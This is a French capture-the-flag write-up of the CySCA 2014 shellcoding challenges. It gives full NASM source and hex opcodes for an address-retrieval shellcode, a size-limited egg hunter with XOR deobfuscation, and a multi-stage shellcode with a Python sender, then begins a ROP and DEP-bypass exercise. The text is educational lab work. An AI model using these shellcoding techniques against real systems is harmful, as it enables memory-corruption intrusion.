Accueil Solution du Cyber-Security Challenge Australia 2014 (Shellcoding)
Post
Annuler

Solution du Cyber-Security Challenge Australia 2014 (Shellcoding)

Exploitation web… check

Network forensics… check

Reverse engineering… check

Mad Coding Skillz… check

Shellcoding… Here we go !

Missing Missy (120 points)

Le libellé de ce premier exercice de shellcoding est le suivant :

The first task Mad Programming Skillz Pty. Ltd have for you requires that you write a function in shellcode that sets the EAX register to the memory address of the first instruction of your shellcode. The code to be tested is running on the server at 192.168.1.64:9090. The server will provide more information on your task. Your test MUST return execution to the program.

Quand on se connecte au serveur on obtient les instructions complémentaires suivantes :

1
2
3
4
5
6
$ ncat 192.168.1.64 9090 -v
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.1.64:9090.
Set EAX to the address of your first shellcode instruction.
Then, return execution to the program.
Enter your shellcode as a hex encoded string (up to 40 characters):

Si vous souhaitez découvrir le shellcoding, je vous invite à lire ce document PDF de Jonathan Salwan (l’auteur de ROPgadget) qui date de 2009.

Le principe du shellcoding est de faire du code assembleur “indépendant” capable de fonctionner quand on l’injecte dans un processus et cela à n’importe qu’elle adresse mémoire de ce processus.

Ici l’opération demandée dans l’exercice est vraiment la base du shellcoding, c’est à dire comment par exemple passer une ligne de commande assez longue à une fonction ou un appel système quand on ne connaît pas l’adresse absolue de la chaîne de caractère mais juste son adresse relative par rapport au code courant.

La méthode couramment employée est de placer la chaîne de caractère en fin du shellcode.

Le shellcode commencera alors à sauter (jmp) vers l’adresse relative juste avant la chaîne de caractère. A cette adresse on aura pris soin de placer une instruction call qui remontera l’exécution juste après le précédent jmp.

Comme l’instruction call place sur la pile l’instruction qui la suit, on trouvera alors sur la pile l’adresse de la chaîne de caractère.

Il suffit alors de récupérer l’adresse de la chaîne en dépilant avec une instruction pop.

Là il n’est pas question de chaîne de caractère, juste de l’adresse du début du shellcode. On va donc commencer par faire un call qui aura pour effet de placer l’adresse de l’instruction suivante sur la pile.

On pop immédiatement afin de récupérer cette adresse dans un registre (eax car c’est celui utilisé pour les valeurs de retour) puis on soustrait à sa valeur la taille prise par l’instruction call (5 octets). C’est tout !

On rajoute une instruction ret finale pour que notre code redonne la main au code légitime ce qui nous donne en assembleur NASM :

1
2
3
4
5
6
7
8
9
section .text
    global _main

_main:
    call get_addr
get_addr:
    pop eax
    sub eax, 5
    ret

Sous mon système 64 bits la compilation pour du 32 bits (demandé par le challenge) se fait de cette manière :

1
2
3
$ nasm -f elf32 main.s
$ ld -m elf_i386 -o main main.o
ld: AVERTISSEMENT: ne peut trouver le symbole d'entrée _start; utilise par défaut 0000000008048060

On récupère les opcodes (code hexadécimal des instructions assembleur) via le désassembleur objdump :

1
2
3
4
5
6
7
8
9
10
11
12
13
$  objdump -D main

main:     format de fichier elf32-i386

Désassemblage de la section .text:

08048060 <_main>:
 8048060:       e8 00 00 00 00          call   8048065 <get_addr>

08048065 <get_addr>:
 8048065:       58                      pop    %eax
 8048066:       83 e8 05                sub    $0x5,%eax
 8048069:       c3                      ret

Il suffit alors d’envoyer la chaîne e8000000005883e805c3 au serveur :

1
2
3
4
5
6
7
8
Ncat: Connected to 192.168.1.64:9090.
Set EAX to the address of your first shellcode instruction.
Then, return execution to the program.
Enter your shellcode as a hex encoded string (up to 40 characters): 
e8000000005883e805c3
Received 10 bytes of shellcode. Executing shellcode...
Congratulations! Secret key is: TableSauceDamned664
Ncat: 21 bytes sent, 275 bytes received in 2.51 seconds.

Pas de quoi fouetter un chat.

On peut aussi avoir recours à rasm2 (outil fournit avec radare2) pour déterminer les opcodes d’une instruction ASM :

1
2
$ rasm2 -a x86 'call 5'
e800000000

X97:L97 (200 points)

Mad Programming Skillz Pty. Ltd have created code to dynamically allocate a function that returns a flag, obfuscate it and place it randomly in memory to improve software security. To ensure this works correctly, they need you to write a test with shellcode that will locate the function within the specified memory range, deobfuscate and return control to it. The code is running at 192.168.1.64:16831. The server will provide more information on your task.

Et pour plus de détails (car c’est pas forcément très clair) :

1
2
3
4
5
6
7
8
Welcome to the shellcode 2 challenge
Please send your egg hunter and deobfuscator shellcode as raw bytes                                                             
The egg will be between 0xb74d9000 and 0xb75d8fff                                                                               
The egg tag will be 'CySC' without the quotes                                                                                   
The egg is less than 255 bytes long                                                                                             
The egg bytes are xored with the low byte of the tag address                                                                    
    E.g if the tag is stored at 0x11223344 the egg bytes will be xored with 0x44                                                
Enter your shellcode as a hex encoded string (up to 80 characters)

L’objectif ici est de chercher en mémoire dans une plage donnée la suite de caractères ‘CySC’ (l’egg tag).

A la suite de ces 4 caractères se trouve une fonction dont le code a été XORé avec l’octet de poids faible de l’adresse du tag.

La longueur exacte de la fonction ainsi obfusquée n’est pas indiquée mais on nous dit qu’elle fait moins de 255 octets.

Il nous faudra décrypter le code de cette fonction et lui rendre la main apparemment via l’instruction ret.

L’objectif pédagogique de l’exercice est de nous faire écrire un egg-hunter, c’est à dire le code qui va chercher le tag en mémoire.

Dans le cadre d’une exploitation un egg-hunter peut par exemple servir à rechercher en mémoire un grand shellcode dont on ignore la position mais que l’on aura soumis préalablement au programme via une entrée non vulnérable. Ainsi quand le egg-hunter (injecté via un buffer-overflow) trouve le grand shellcode il n’a plus qu’à sauter dessus (pour peu qu’il soit dans une zone exécutable bien sûr).

On peut imaginer d’autres utilisations comme la recherche d’une longue ligne de commande (à passer à system() par exemple) ou (pourquoi pas) l’extraction d’une clé privée depuis la mémoire d’un serveur vulnérable.

J’ai d’abord écrit un shellcode très naïf qui comme attendu cherche le tag puis XOR les octets qui suivent :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
section .text
    global _main

_main:
    mov esi, buffer ; adresse de debut
loop:
    mov eax, [esi]
    cmp eax, 0x43537943 ; 'CySC'
    je found
    inc esi
    jmp loop

found:
    mov edx, esi
    and edx, 0xff
    mov ecx, edx ; 0x000000d0
    shl ecx, 8
    add ecx, edx ; 0x0000d0d0
    shl ecx, 8
    add ecx, edx ; 0x00d0d0d0
    shl ecx, 8
    add ecx, edx ; 0xd0d0d0d0
    xor eax, eax
    add esi, 4

decrypt:
    mov ebx, [esi + eax * 4]
    xor ebx, ecx
    mov [esi + eax * 4], ebx
    cmp eax, 63
    je run
    inc eax
    jmp decrypt

run:
    call esi

section .data progbits alloc exec write
   buffer db 'blahblahblahCySCzzzzzzzz', 0

Le code du label found est destiné à répéter l’octet de poids faible sur les 3 autres octets d’un dword (32 bits) ainsi de pouvoir faire un XOR de dword en dword.

Même si techniquement ça fonctionne, ce premier shellcode est loin d’être optimisé :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
$ objdump -D shellcode

shellcode:     format de fichier elf32-i386

Désassemblage de la section .text:

08048080 <_main>:
 8048080:       be ef be ad de          mov    $0xdeadbeef,%esi

08048085 <loop>:
 8048085:       8b 06                   mov    (%esi),%eax
 8048087:       3d 43 79 53 43          cmp    $0x43537943,%eax
 804808c:       74 03                   je     8048091 <found>
 804808e:       46                      inc    %esi
 804808f:       eb f4                   jmp    8048085 <loop>

08048091 <found>:
 8048091:       89 f2                   mov    %esi,%edx
 8048093:       81 e2 ff 00 00 00       and    $0xff,%edx
 8048099:       89 d1                   mov    %edx,%ecx
 804809b:       c1 e1 08                shl    $0x8,%ecx
 804809e:       01 d1                   add    %edx,%ecx
 80480a0:       c1 e1 08                shl    $0x8,%ecx
 80480a3:       01 d1                   add    %edx,%ecx
 80480a5:       c1 e1 08                shl    $0x8,%ecx
 80480a8:       01 d1                   add    %edx,%ecx
 80480aa:       31 c0                   xor    %eax,%eax
 80480ac:       83 c6 04                add    $0x4,%esi

080480af <decrypt>:
 80480af:       8b 1c 86                mov    (%esi,%eax,4),%ebx
 80480b2:       31 cb                   xor    %ecx,%ebx
 80480b4:       89 1c 86                mov    %ebx,(%esi,%eax,4)
 80480b7:       83 f8 3f                cmp    $0x3f,%eax
 80480ba:       74 03                   je     80480bf <run>
 80480bc:       40                      inc    %eax
 80480bd:       eb f0                   jmp    80480af <decrypt>

080480bf <run>:
 80480bf:       ff d6                   call   *%esi

65 octets… Alors que le serveur n’en accepte seulement 40 et vous comprenez le second principe pédagogique de l’exercice ;-)

Au passage j’ai aussi fait le petit shellcode suivant qui tente un write(). J’ai essayé différents descripteurs de fichier (stdout, stderr) mais avec le descripteur 4 j’obtiens bien un output (ABCD en sens inverse) :

1
2
3
4
5
6
7
8
9
10
11
12
13
global _start

section .text

_start:
    mov eax, 0x4
    mov ebx, 0x4
    push 0x41424344
    mov ecx, esp
    mov edx, 0x4
    int 0x80
    pop ebx
    ret

Exécution par le serveur :

1
2
3
4
5
6
7
8
9
10
11
Welcome to the shellcode 2 challenge
Please send your egg hunter and deobfuscator shellcode as raw bytes
The egg will be between 0xb74f0000 and 0xb75effff
The egg tag will be 'CySC' without the quotes
The egg is less than 255 bytes long
The egg bytes are xored with the low byte of the tag address
    E.g if the tag is stored at 0x11223344 the egg bytes will be xored with 0x44
Enter your shellcode as a hex encoded string (up to 80 characters)
b804000000bb04000000684443424189e1ba04000000cd805bc3
Received 26 bytes of shellcode. Executing
DCBASadly no flag for you this time

Ça a au moins permis de m’assurer que le shellcode s’exécutait correctement :)

En mélangeant ainsi la partie egg-hunter de mon shellcode avec le code d’écriture il est possible de vérifier que le tag est bien retrouvé en mémoire :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
section .text
    global _main

_main:
    mov esi, 0xdeadbeef ; adresse de début à modifier selon les infos du serveur
    mov ebx, 0x43537943 ; 'CySC'
loop:
    mov eax, [esi]
    cmp eax, ebx
    je found
    inc esi
    jmp loop

found:
    push ebx
    mov ecx, esp
    xor eax, eax
    mov al, 0x4
    push eax
    pop ebx
    push eax
    pop edx
    int 0x80
    pop ebx ; on retire la chaîne
    ret

Et il apparaît que le tag est retrouvé (comme dans l’exemple ci-dessous où l’on voit bien CySC apparaître, mais pas à tous les coups).

1
2
3
4
5
6
7
8
9
10
11
Welcome to the shellcode 2 challenge
Please send your egg hunter and deobfuscator shellcode as raw bytes
The egg will be between 0xb74f0000 and 0xb75effff
The egg tag will be 'CySC' without the quotes
The egg is less than 255 bytes long
The egg bytes are xored with the low byte of the tag address
    E.g if the tag is stored at 0x11223344 the egg bytes will be xored with 0x44
Enter your shellcode as a hex encoded string (up to 80 characters)
be00004fb7bb437953438b0639d8740346ebf75389e131c0b004505b505acd805bc3
Received 34 bytes of shellcode. Executing
CySCSadly no flag for you this time

D’après la documentation, la fonction malloc() retourne des adresses alignées… mais les créateurs du challenge ont du faire en sorte qu’un padding aléatoire soit mis pour que l’adresse du tag ne soit pas toujours un multiple de 4.

Jusqu’ici mon shellcode a différents points faibles qui augmente sa taille :

  • il devrait utiliser des instructions de répétitions (REP*, LOOP*) qui se basent sur l’utilisation de ECX en tant que compteur
  • il devrait utiliser des instructions de traitement de chaine comme SCAS*, LODS*, STOS*
  • il devrait faire le XOR octet par octet car générer un dword “répété” prend trop d’instructions

Vous trouverez les descriptions de différentes instructions assembleurs sur ce site.

Au final j’ai écrit le shellcode suivant… qui fait pile poil 40 octets et laisse le programme du serveur se terminer correctement que le tag ait été trouvé ou non (je n’avais pas assez de place pour rajouter du code qui incrémente un décalage de 0 à 3 du coup il faut tenter jusqu’à ce que le tag soit bien aligné)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
section .text
    global _main

_main:
    mov edi, 0xb74c4000 ; address to start search at
    mov eax, 0x43537943 ; 'CySC'  :egg tag
    xor ecx, ecx ; ecx is the counter
    dec ecx ;  ecx = 0xffffffff
    shr ecx, 14 ; ecx = 0x3ffff - range length I'm looking in
    repne scasd ; inc edi by 4 until [edi] match the egg tag
    jecxz not_found ; if ecx is 0 after the loop, then no flag

    push edi ; address of the bytes following the egg tag
decrypt:
    sub edi, 4 ; address of the egg tag
    mov esi, edi ; set esi = edi to use loadsb/stosb
    mov edx, edi ; dl will be the XOR key (lower byte of the tag address)
    xor ecx, ecx
    mov cl, 0xff ; "The egg is less than 255 bytes long"

boucle:
    lodsb ; eq. mv al, [esi]
    xor al, dl ; deobfuscate
    stosb ; eq. mv [edi], al
    loop boucle

exec:
    ret ; jump to the un-obfuscated code

not_found:
    ret ; return without errors

Ce qui nous donne :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ncat 192.168.1.64 16831 -v
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.1.64:16831.
Welcome to the shellcode 2 challenge
Please send your egg hunter and deobfuscator shellcode as raw bytes
The egg will be between 0xb74c4000 and 0xb75c3fff
The egg tag will be 'CySC' without the quotes
The egg is less than 255 bytes long
The egg bytes are xored with the low byte of the tag address
    E.g if the tag is stored at 0x11223344 the egg bytes will be xored with 0x44
Enter your shellcode as a hex encoded string (up to 80 characters)
bf00404cb7b84379534331c949c1e90ef2afe3135783ef0489fe89fa31c9b1ffac30d0aae2fac3c3
Received 40 bytes of shellcode. Executing
Your flag is ProcessCertainNearly173

Mais je mentirais en affirmant que je n’en ai pas bavé… J’ai passé beaucoup de temps à comprendre pourquoi mon shellcode ne fonctionnait pas avant de me rendre compte au final que dans ma boucle j’avais d’abord mis un loopne au lieu d’un loop.

L’instruction loopne se base comme loop sur le registre ECX pour déterminer si elle doit suivre le label passé en argument mais contrairement à loop elle prend aussi en compte le zero flag (ZF) qui doit être à 0.

Au final mon code de décodage n’allait pas jusqu’au bout et je recevait un SIGSEV :(

Pour déboguer le programme du serveur j’ai du écrire un shellcode qui dumpait le code de la fonction obfusquée :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
section .text
    global _main

_main:
    mov edi, 0xb74f0000 ; adresse de début
    mov eax, 0x43537943 ; 'CySC'
    xor ecx, ecx ; mise a zéro du compte
    not ecx ; 0xffffffff
    shr ecx, 14
    repne scasd ; incrémente edi de 4 jusqu'à ce que [edi] == eax
    ; arrive ici, on est juste après le tag
    test ecx, ecx
    jne print
    inc eax ; DySC si non trouve, CySC si trouve

print:
    push eax ; pousse la chaîne sur la pile
    mov ecx, esp ; adresse de la stack (donc de la chaîne)
    xor eax, eax
    mov al, 0x4 ; write syscall
    push eax
    pop ebx ; file descriptor is 4 too
    push 0xff
    pop edx ; longueur
    int 0x80
    pop ebx ; on retire la chaîne
    ret

Comme la place du décodage est prise par le code du dump, il faut malheureusement tester les 255 combinaisons possibles de clé pour trouver le bon code de la fonction de génération du flag.

Le code décodé le plus vraisemblable est le suivant :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
     0x00000001    55           push ebp
     0x00000002    89e5         mov ebp, esp
     0x00000004    81ec38010000 sub esp, 0x138 ; 312 octets de variables locales
     0x0000000a    65a114000000 mov eax, dword gs:[0x14] ; canary
     0x00000010    8945f4       mov dword [ebp - 0xc], eax
     0x00000013    31c0         xor eax, eax
     0x00000015    c785e4fefff. mov dword [ebp - 0x11c], 0x8049030 ; func1
     0x0000001f    c785e8fefff. mov dword [ebp - 0x118], 0x8048f23 ; func2
     0x00000029    c785ecfefff. mov dword [ebp - 0x114], 0x8048970 ; func3
     0x00000033    c7442404000. mov dword [esp + 4], 0x100    ; arg1 = 256
     0x0000003b    8d85f4feffff lea eax, dword [ebp - 0x10c]
     0x00000041    890424       mov dword [esp], eax          ; arg0 = adresse ebp-0x10c
     0x00000044    8b85e4feffff mov eax, dword [ebp - 0x11c]
     0x0000004a    ffd0         call eax ; func1(arg0, arg1)
        unk(unk)
     0x0000004c    8985f0feffff mov dword [ebp - 0x110], eax
     0x00000052    83bdf0fefff. cmp dword [ebp - 0x110], -1 ; check retour de func1
 ,=< 0x00000059    7527         jne 0x82
 |   0x0000005b    a1b0c00408   mov eax, dword [0x804c0b0] ; ??
 |   0x00000060    c74424049b9. mov dword [esp + 4], 0x8049e9b ; adresse prédéfinie, arg1
 |   0x00000068    890424       mov dword [esp], eax ; arg0 = contenu de 0x804c0b0
 |   0x0000006b    8b85e8feffff mov eax, dword [ebp - 0x118]
 |   0x00000071    ffd0         call eax ; func2(arg0, arg1)
 |      unk()
 |   0x00000073    c7042401000. mov dword [esp], 1
 |   0x0000007a    8b85ecfeffff mov eax, dword [ebp - 0x114]
 |   0x00000080    ffd0         call eax ; func3(1) : exit ?
 |      unk()
 `-> 0x00000082    a1b0c00408   mov eax, dword [0x804c0b0]
     0x00000087    8d95f4feffff lea edx, dword [ebp - 0x10c]
     0x0000008d    89542408     mov dword [esp + 8], edx ; arg2 = adresse ebp-0x10c
     0x00000091    c7442404b89. mov dword [esp + 4], 0x8049eb8 ; adresse prédéfinie, arg1
     0x00000099    890424       mov dword [esp], eax ; arg0 = contenu de 0x804c0b0
     0x0000009c    8b85e8feffff mov eax, dword [ebp - 0x118]
     0x000000a2    ffd0         call eax ; func2(arg0, arg1, arg2)
        unk()
     0x000000a4    c7042401000. mov dword [esp], 1
     0x000000ab    8b85ecfeffff mov eax, dword [ebp - 0x114]
     0x000000b1    ffd0         call eax ; func3(1)
        unk()
     0x000000b3    8b45f4       mov eax, dword [ebp - 0xc]
     0x000000b6    65330514000. xor eax, dword gs:[0x14]
,==< 0x000000bd    7405         je 0xc4
|    0x000000bf    e87ef3ffff   call 0xfffffffffffff442
|       0xfffffffffffff442()
`--> 0x000000c4    c9           leave
     0x000000c5    c3           ret

Mais pour autant, ça ne me permettait pas de savoir réellement ce qui bloquait dans mon shellcode.

La seule façon était de parvenir à dumper le code de la fonction une fois que j’ai effectué la boucle XOR puis comparer avec le dump précédent.

Comme faire cela alors que le serveur n’accepte que 40 octets ?

Réponse : le multi-staging !

Le serveur reçoit notre shellcode et est capable de l’exécuter. Pour cela il a sans doute alloué de la mémoire via malloc() et fait en sorte que le flag d’exécution soit mis sur cette zone.

Mais le système d’exploitation gère la mémoire par ce qu’on appelle des “pages” dont la taille est de 4ko…

Pour bypasser la limitation il suffit donc d’envoyer un premier shellcode (stage 1) qui va écouter sur la socket (appeler le syscall read avec fd = 4) et s’auto écraser par un nouveau shellcode de plus grande taille (stage 2).

Il faut bien voir qu’une fois qu’on a passé l’appel à int 0x80 ce qui suit sera écrasé donc inutile d’aller plus loin dans le premier stage.

Et pour ne pas avoir à gérer un système de jmp ou call compliqués mon stage2 sera simplement le stage1 suivi d’instructions supplémentaires (on a de la place donc pourquoi s’embêter).

Cette étape m’a permis de comprendre que ma boucle de décodage s’arrêtait seulement quelques octets après le prologue et de corriger le tir.

Voici mon shellcode multi-stage (avec la loop corrigé) qui lit 255 octets sur la socket, s’auto écrase, recherche le tag, décrypte la fonction, dump son code puis l’exécute :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
section .text
    global _main

_main:
    call get_addr
get_addr:
    pop ecx
    sub ecx, 5 ; address to overwrite
    xor ebx, ebx
    mul ebx
    add al, 3 ; read syscall
    add bl, 4 ; file descriptor
    mov dl, 0xff ; length
    int 0x80 ; fin du stage1

    ; début stage2
    mov edi, 0xdeadbeef ; address to start search at
    mov eax, 0x43537943 ; 'CySC'  :egg tag
    xor ecx, ecx ; ecx is the counter
    dec ecx ;  ecx = 0xffffffff
    shr ecx, 14 ; ecx = 0x3ffff - range length I'm looking in
    repne scasd ; inc edi by 4 until [edi] match the egg tag
    jecxz not_found ; if ecx is 0 after the loop, then no flag

    push edi ; address of the bytes following the egg tag
decrypt:
    sub edi, 4 ; address of the egg tag
    mov esi, edi ; set esi = edi to use loadsb/stosb
    mov edx, edi ; dl will be the XOR key (lower byte of the tag address)
    and edx, 0xff ; ajout
    mov ecx, 0xff

boucle:
    lodsb ; eq. mv al, [esi]
    xor al, dl ; deobfuscate
    stosb ; eq. mv [edi], al
    loop boucle ; was loopne

write:
    pop ecx ; address of un-obfuscated code
    xor eax, eax
    mov al, 4 ; write syscall
    mov ebx, eax ; file descriptor
    xor edx, edx
    mov dl, 0xff ; length
    int 0x80

    call ecx

not_found:
    ret ; return without errors

Pour que ce soit parfait il faut un code Python avec qui s’occupe de remplacer le placeholder 0xdeadbeef par l’adresse de début donnée par le serveur et qui soit surtout capable d’envoyer le stage2 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/python2
# devloop - CySCA 2014 X97:L97 shellcode CTF using multi-staging
import socket
import struct

stage1 = "e8000000005983e90531dbf7e3040380c304b2ffcd80"
stage2 = stage1 + "bfefbeaddeb84379534331c949c1e90ef2afe3285783ef0489fe89fa81e2ff000000b9ff000000ac30d0aae2fa5931c0b00489c331d2b2ffcd80ffd1c3"
#     0xdeadbeef --> ^^^^^^^^

s = socket.socket()
s.connect(('192.168.1.64', 16831))
s.recv(1024) # banner
s.recv(1024) # please send...
buff = s.recv(1024) # The egg will be between...

if "between" in buff:
    start = buff.split(" ")[5]
    if start.startswith("0x"):
        start = start[2:]
        print "start =", start
        addr = struct.pack("I", int(start, 16)).encode("hex_codec")
        stage2 = stage2.replace("efbeadde", addr)

        while True:
            buff = s.recv(1024)
            if "Enter your shellcode" in buff:
                print "Sending stage1 as hexencoded string..."
                s.send(stage1)
                buff = s.recv(1024)  # Received 22 bytes of shellcode. Executing
                print "Sending stage2 as raw bytes..."
                s.send(stage2.decode("hex_codec"))
                buff = s.recv(255)
                if buff.startswith("Sadly"):
                    print buff
                    break
                print "opcodes from deobfuscated function:"
                print buff.encode("hex_codec")
                buff = s.recv(255)
                print "also received:", buff
                break
    else:
        print "Invalid line format:", buff
s.close()

Exécution du code :

1
2
3
4
5
6
start = b74c4000
Sending stage1 as hexencoded string...
Sending stage2 as raw bytes...
opcodes from deobfuscated function:
5589e581ec3801000065a1140000008945f431c0c785e4feffff30900408c785e8feffff238f0408c785ecfeffff70890408c7442404000100008d85f4feffff8904248b85e4feffffffd08985f0feffff83bdf0feffffff7527a1b0c00408c74424049b9e04088904248b85e8feffffffd0c70424010000008b85ecfeffffffd0a1b0c004088d95f4feffff89542408c7442404b89e04088904248b85e8feffffffd0c70424010000008b85ecfeffffffd08b45f4653305140000007405e87ef3ffffc9c3e7cf4898f07b09de395252d91dc400110dd7eab68588dd5e480a1e40b671662b61eadf79184f485ca08c7459e9eeffad4861c5ebdc5d6468a814
also received: Your flag is ProcessCertainNearly173

Il faut noter que la solution “officielle” donnée par les organisateurs est un shellcode de 29 octets… mais qui ne fait aucune vérification pour déterminer si on est à la fin de la plage mémoire et ne retourne pas la main au programme serveur (donc crashe dans tous les cas).

Stop, Rop and Roll (280 points)

The last task that Mad Programming skills have provided requires that you test a range of functionality in a binary provided by them. The development of this binary had no thought for future testing so DEP was enabled, this means you will need to add a pivot and ROP in addition the test shellcode to return the flag. The code is running at 192.168.1.64:22523. The server will provide more information on your task.

ROP ? Pivot ? DEP ? WTF !? HOORAY FOR BOOBIES !!!

Explications : le principe d’une exploitation de stack overflow consiste à écraser sur la pile l’adresse de retour d’une fonction et aussi d’y placer un shellcode sur lequel sauter.

Pour contrer ce type d’attaques il est possible de faire en sorte que la stack ne soit pas exécutable ce qui est d’ailleurs rarement une fonctionnalité demandée par les développeurs. On appelle ce mécanisme DEP pour Data Execution Prevention.

Afin de bypasser cette protection les hackers se sont tournés vers les ret-into-libc : on mettra sur la pile l’adresse d’une fonction de la libc ainsi que ses arguments. Comme on ne met pas de code il n’y a plus à se soucier du DEP.

Le principal inconvénient de cette technique d’exploitation c’est la quasi impossibilité de chaîner des appels de fonction car les arguments que l’on aura injectés ne sont pas retirés pour la fonction qui devrait suivre.

De plus des protections supplémentaires ont fait leur apparition avec principalement l’ASLR qui rend impossible de deviner l’adresse d’une fonction de la libc et ascii armor qui consiste à faire en sorte que l’adresse d’une fonction comme system() contienne un octet nul (donc impossible à passer via un strcpy()).

Une première solution de contournement a été publiée dans Phrack 68.

Cette technique consiste à réutiliser des petites suites d’instructions déjà présentes dans le programme qui permettent entre deux appels de fonction de faire le ménage dans la stack.

Ainsi si on appelle une fonction de la libc, celle-ci va rendre la main en faisant un ret et sauter vers des instructions existantes de notre choix permettant de passer outre les arguments existants via la modification du registre esp (exemple d’instruction : add esp, X ou pop reg suivi d’un ret).

Le ROP (return-oriented programming) est une généralisation de cette technique d’attaque consistant justement à chaîner des séries de petites instructions se terminant par ret (les gadgets, qui dans certains cas peuvent aussi terminer par un jmp, call, etc) et effectuant au final les opérations que l’on souhaite.

Au lieu de passer un shellcode on passera donc une suite d’adresse ainsi que des valeurs (puisqu’on pourra utiliser des instructions pop pour extraire ces valeurs de la pile et les mettre dans des registres). Cette suite d’adresses et de valeurs est la ROP-chain.

Enfin le pivot est une instruction qui permet de modifier le registre esp pour le faire pointer vers une fausse pile que l’on aura nous même rempli avec la ROP chain.

Dans le cadre d’une exploitation il ne sera pas forcément nécessaire de pivoter mais ça peut être utile si on est limité en taille et que l’on a pu soumettre préalablement au programme des octets qu’il a stocké en mémoire sans limitation (il faudra bien sûr être en mesure de déterminer l’adresse relative de cette zone par exemple par rapport à la valeur d’un registre).

Entrons dans le vif du sujet. Que nous demande le programme serveur ?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ ncat 192.168.1.64 22523 -v
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.1.64:22523.
Welcome to the shellcode 3 challenge
Please send your all requested data as hex encoded strings
DEP is on!
Payload Conditions: Truncated at zero. Every 16th byte must be 0xCC
Pivot and ROP conditions: None apart from size
Your payload will be located at 0xb7731000
Please send your pivot (8 characters)
deadbeef
Please send your payload (upto 512 characters)
0102030405060708090a0b0c0d0e0fcc
Received 16 bytes of payload
Please send your rop chain (upto 256 characters)
deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
Received 20 bytes of rop chain
A SIGSEGV was raised during shellcode execution. Exiting
Ncat: 83 bytes sent, 516 bytes received in 41.25 seconds.

Contrairement aux deux précédents exercices ont dispose ici du binaire qui tourne sur le serveur.

En regardant les chaînes à l’intérieur on trouve une référence au fichier /flag.txt.

Jetons un œil supplémentaire avec radare2 (je me suis basé sur cet article car je ne suis pas encore un expert avec cet outil) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ radare2 8305f5c99ba1d89802940f6e68f802f5-sc03 
 -- Now featuring NoSQL!
[0x08048e08]> iI
file    8305f5c99ba1d89802940f6e68f802f5-sc03
type    EXEC (Executable file)
pic     false
canary  false
nx      true
crypto  false
has_va  true
root    elf
class   ELF32
lang    c
arch    x86
bits    32
machine Intel 80386
os      linux
subsys  linux
endian  little
strip   false
static  true
linenum true
lsyms   true
relocs  true
rpath   NONE

[0x08048e08]> iz~/flag.txt
vaddr=0x080c71f0 paddr=0x0007f1f0 ordinal=019 sz=10 len=9 section=.rodata type=a string=/flag.txt
[0x08048e08]> aa
[0x08048e08]> axt 0x080c71f0
c 0x80c71ee jb str._flag.txt
d 0x80493d8 mov eax, str._flag.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
[0x08048e08]> pdf @ 0x80493d8
/ (fcn) sym.load_flag 186
|          0x080493cc    55           push ebp
|          0x080493cd    89e5         mov ebp, esp
|          0x080493cf    57           push edi
|          0x080493d0    83ec34       sub esp, 0x34
|          0x080493d3    baee710c08   mov edx, 0x80c71ee ; "r" @ 0x80c71ee
|          0x080493d8    b8f0710c08   mov eax, str._flag.txt ; "/flag.txt" @ 0x80c71f0
|          0x080493dd    89542404     mov dword [esp + 4], edx
|          0x080493e1    890424       mov dword [esp], eax
|          0x080493e4    e8271b0000   call sym.__new_fopen
|             sym.__new_fopen(unk, unk) ; sym._IO_new_fopen
|          0x080493e9    8945f0       mov dword [ebp - 0x10], eax
|          0x080493ec    837df000     cmp dword [ebp - 0x10], 0
|      ,=< 0x080493f0    750a         jne 0x80493fc
|      |   0x080493f2    b8ffffffff   mov eax, 0xffffffff ; -1 ; -1
|     ,==< 0x080493f7    e984000000   jmp 0x8049480 ; (sym.load_flag)
|     ||   ; JMP XREF from 0x080493f0 (unk)
|     |`-> 0x080493fc    8b45f0       mov eax, dword [ebp - 0x10] ; FILE *
|     |    0x080493ff    89442408     mov dword [esp + 8], eax
|     |    0x08049403    8b450c       mov eax, dword [ebp + 0xc] ; arg2 : size
|     |    0x08049406    89442404     mov dword [esp + 4], eax ;
|     |    0x0804940a    8b4508       mov eax, dword [ebp + 8] ;  arg1 : char *s
|     |    0x0804940d    890424       mov dword [esp], eax
|     |    0x08049410    e84b180000   call sym._IO_fgets ; (fcn.0804ac52)
|     |       fcn.0804ac52() ; sym.fgets
|     |    0x08049415    8b45f0       mov eax, dword [ebp - 0x10]
|     |    0x08049418    890424       mov dword [esp], eax
|     |    0x0804941b    e840160000   call sym.__new_fclose ; (fcn.0804aa5c)
|     |       fcn.0804aa5c() ; sym._IO_fclose
|     |    0x08049420    8b4508       mov eax, dword [ebp + 8] ; contenu de /flag.txt
|     |    0x08049423    c745e4fffff. mov dword [ebp - 0x1c], 0xffffffff
